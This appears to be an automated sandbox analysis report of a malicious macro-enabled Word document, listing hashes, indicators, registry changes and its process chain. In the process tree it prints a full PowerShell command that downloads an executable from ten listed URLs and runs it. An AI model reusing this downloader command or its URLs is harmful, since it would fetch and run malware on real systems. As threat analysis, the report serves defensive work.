Analysis
-
max time kernel
81s -
max time network
74s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
21-05-2022 03:38
Static task
static1
Behavioral task
behavioral1
Sample
08142020_1955816493.docm
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
08142020_1955816493.docm
Resource
win10v2004-20220414-en
General
-
Target
08142020_1955816493.docm
-
Size
381KB
-
MD5
8b9a76bee8f32292b25d55383c100d2c
-
SHA1
fe63d6a4046682dabce9cc6e49bc22fbbb8399e4
-
SHA256
a1ea10b25a1dd9165910a6859847f4bc6437f06e4651f8cc31ddf3b9d50be3c2
-
SHA512
9fc9740134ec8bd07b7f18ce2ab4b52136ebce65ed7d5a62493efceb545ba2a1aedd2217360f933f386716ccb5554a0700aef17949b724e7e301ab6cdaa22d15
Malware Config
Extracted
http://rijschoolfastandserious.nl/rprmloaw/111111.png
http://nanfeiqiaowang.com/tsxwe/111111.png
http://forum.insteon.com/suowb/111111.png
http://webtest.pp.ua/yksrpucvx/111111.png
http://quoraforum.com/btmlxjxmyxb/111111.png
http://quickinsolutions.com/wfqggeott/111111.png
http://bronco.is/pdniovzkgwwt/111111.png
http://studiomascellaro.it/wnzzsbzbd/111111.png
http://craniotylla.ch/vzufnt/111111.png
http://marineworks.eu/dwaunrsamlbq/111111.png
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
explorer.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1404 1984 explorer.exe WINWORD.EXE -
Blocklisted process makes network request 21 IoCs
Processes:
powershell.exeflow pid process 5 980 powershell.exe 7 980 powershell.exe 8 980 powershell.exe 9 980 powershell.exe 11 980 powershell.exe 16 980 powershell.exe 17 980 powershell.exe 18 980 powershell.exe 21 980 powershell.exe 23 980 powershell.exe 24 980 powershell.exe 25 980 powershell.exe 27 980 powershell.exe 28 980 powershell.exe 29 980 powershell.exe 31 980 powershell.exe 33 980 powershell.exe 35 980 powershell.exe 36 980 powershell.exe 38 980 powershell.exe 40 980 powershell.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Office loads VBA resources, possible macro or embedded object present
-
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 1672 timeout.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 1540 taskkill.exe -
Processes:
WINWORD.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE -
Modifies registry class 64 IoCs
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{7D13C14F-2285-4F66-9537-F028DF5B31F2}\1.0 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{7D13C14F-2285-4F66-9537-F028DF5B31F2}\1.0\0\win32 WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{3DE1237C-987A-4277-A97F-7B0C4B303D2A}\2.0\0 WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcOptionButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{7D13C14F-2285-4F66-9537-F028DF5B31F2}\1.0\FLAGS\ = "4" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{91ED4A7F-B126-4519-A5AB-5B4751B8203F}\1.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Word8.0" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{8CEA03A2-D0C5-4E97-9C38-A676A639A51D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063059-0000-0000-C000-000000000046} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\TypeLib\{3DE1237C-987A-4277-A97F-7B0C4B303D2A}\2.0 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{43D5AE92-4332-477C-8883-E0B3B063C5D2}\ = "IWMPWindow" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1984 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 980 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
taskkill.exepowershell.exedescription pid process Token: SeDebugPrivilege 1540 taskkill.exe Token: SeDebugPrivilege 980 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1984 WINWORD.EXE 1984 WINWORD.EXE -
Suspicious use of WriteProcessMemory 19 IoCs
Processes:
WINWORD.EXEexplorer.exeWScript.execmd.exedescription pid process target process PID 1984 wrote to memory of 1404 1984 WINWORD.EXE explorer.exe PID 1984 wrote to memory of 1404 1984 WINWORD.EXE explorer.exe PID 1984 wrote to memory of 1404 1984 WINWORD.EXE explorer.exe PID 1984 wrote to memory of 1404 1984 WINWORD.EXE explorer.exe PID 1584 wrote to memory of 1772 1584 explorer.exe WScript.exe PID 1584 wrote to memory of 1772 1584 explorer.exe WScript.exe PID 1584 wrote to memory of 1772 1584 explorer.exe WScript.exe PID 1772 wrote to memory of 960 1772 WScript.exe cmd.exe PID 1772 wrote to memory of 960 1772 WScript.exe cmd.exe PID 1772 wrote to memory of 960 1772 WScript.exe cmd.exe PID 960 wrote to memory of 1540 960 cmd.exe taskkill.exe PID 960 wrote to memory of 1540 960 cmd.exe taskkill.exe PID 960 wrote to memory of 1540 960 cmd.exe taskkill.exe PID 960 wrote to memory of 980 960 cmd.exe powershell.exe PID 960 wrote to memory of 980 960 cmd.exe powershell.exe PID 960 wrote to memory of 980 960 cmd.exe powershell.exe PID 960 wrote to memory of 1672 960 cmd.exe timeout.exe PID 960 wrote to memory of 1672 960 cmd.exe timeout.exe PID 960 wrote to memory of 1672 960 cmd.exe timeout.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\08142020_1955816493.docm"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\explorer.exeexplorer.exe C:\ProgramData\JHJKGHuggUGUGYYuyggg.vbs2⤵
- Process spawned unexpected child process
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\ProgramData\JHJKGHuggUGUGYYuyggg.vbs"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.execmd /c ""C:\BlotRots\djsfgytdftftyYFGfghffghYYTTT.cmd" "3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exeTaskkill /IM "winword.exe" /F4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOWerShell Foreach($url in @('http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png','http://marineworks.eu/dwaunrsamlbq/111111.png')) { try{$path = 'C:\BlotRots\Loterios.exe'; (New-Object Net.WebClient).DownloadFile($url.ToString(), $path);saps $path; break;}catch{write-host $_.Exception.Message}}4⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\timeout.exeTIMEOUT /T 104⤵
- Delays execution with timeout.exe
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\BlotRots\djsfgytdftftyYFGfghffghYYTTT.cmdFilesize
5KB
MD52d63e5c7ff61a560f0cc7dccd0661bf6
SHA1995efc69bd84b193786de1a993ad7052f14e9542
SHA25694a12075382cb44133ba8dd51973b583d4c2514f7d3d7414ae4d9a92b5354584
SHA51294254c0bbbc1c06bc93aeb6264d7d2cdd46ba3ff55fccdc3a669d3d713083a45b9e066a780f5b9684e6b8226c4acaca80df6d61ad5bb1d53c6bb66d9ec2e073c
-
C:\ProgramData\JHJKGHuggUGUGYYuyggg.vbsFilesize
68KB
MD5ad7b09adba59218ce485148faf21dc82
SHA10a3851f903f7d928688e5ebeee13f6d5d921b4de
SHA256214fd312196dd5769f94ed778c50df1eaf49a5c8287c67edcf2fbd05dff02cb2
SHA5121fb8361f343e174574eae776fae701580c32dcbb6e120e181190bafb80d5968af788d1edb68f1450d6ddbd62f0bc15d8d9c5bcce6187d712a3afe71c57669f4f
-
C:\ProgramData\UIYUIYUIYuiyuiYUIYYuyty.vbsFilesize
2KB
MD5f07e30c22ead3c49606617eb04fbf9c7
SHA1539dbd8cda2c1e6ada7a02e146c33b5aae7b1099
SHA2564639cb4ccdef149ef325770ccf4fff658b7cb528d71661113dbfe9e1c683dbf9
SHA51210f721ecf33fe97d074e2b5dd538ff83527a7db3ac4a0cfda183db9c9a2949dc9dd17361eb89e40e4a9865444c721108e1c4b7525337d83ba533250cb6ab052b
-
memory/960-67-0x0000000000000000-mapping.dmp
-
memory/980-75-0x00000000027BB000-0x00000000027DA000-memory.dmpFilesize
124KB
-
memory/980-73-0x000007FEF33B0000-0x000007FEF3F0D000-memory.dmpFilesize
11.4MB
-
memory/980-74-0x00000000027B4000-0x00000000027B7000-memory.dmpFilesize
12KB
-
memory/980-72-0x000007FEF3F10000-0x000007FEF4933000-memory.dmpFilesize
10.1MB
-
memory/980-70-0x0000000000000000-mapping.dmp
-
memory/1404-59-0x0000000000000000-mapping.dmp
-
memory/1404-61-0x000000006ADF1000-0x000000006ADF3000-memory.dmpFilesize
8KB
-
memory/1540-69-0x0000000000000000-mapping.dmp
-
memory/1584-62-0x000007FEFBC91000-0x000007FEFBC93000-memory.dmpFilesize
8KB
-
memory/1672-76-0x0000000000000000-mapping.dmp
-
memory/1772-64-0x0000000000000000-mapping.dmp
-
memory/1984-65-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1984-54-0x00000000725F1000-0x00000000725F4000-memory.dmpFilesize
12KB
-
memory/1984-58-0x000000007105D000-0x0000000071068000-memory.dmpFilesize
44KB
-
memory/1984-57-0x00000000756E1000-0x00000000756E3000-memory.dmpFilesize
8KB
-
memory/1984-56-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1984-55-0x0000000070071000-0x0000000070073000-memory.dmpFilesize
8KB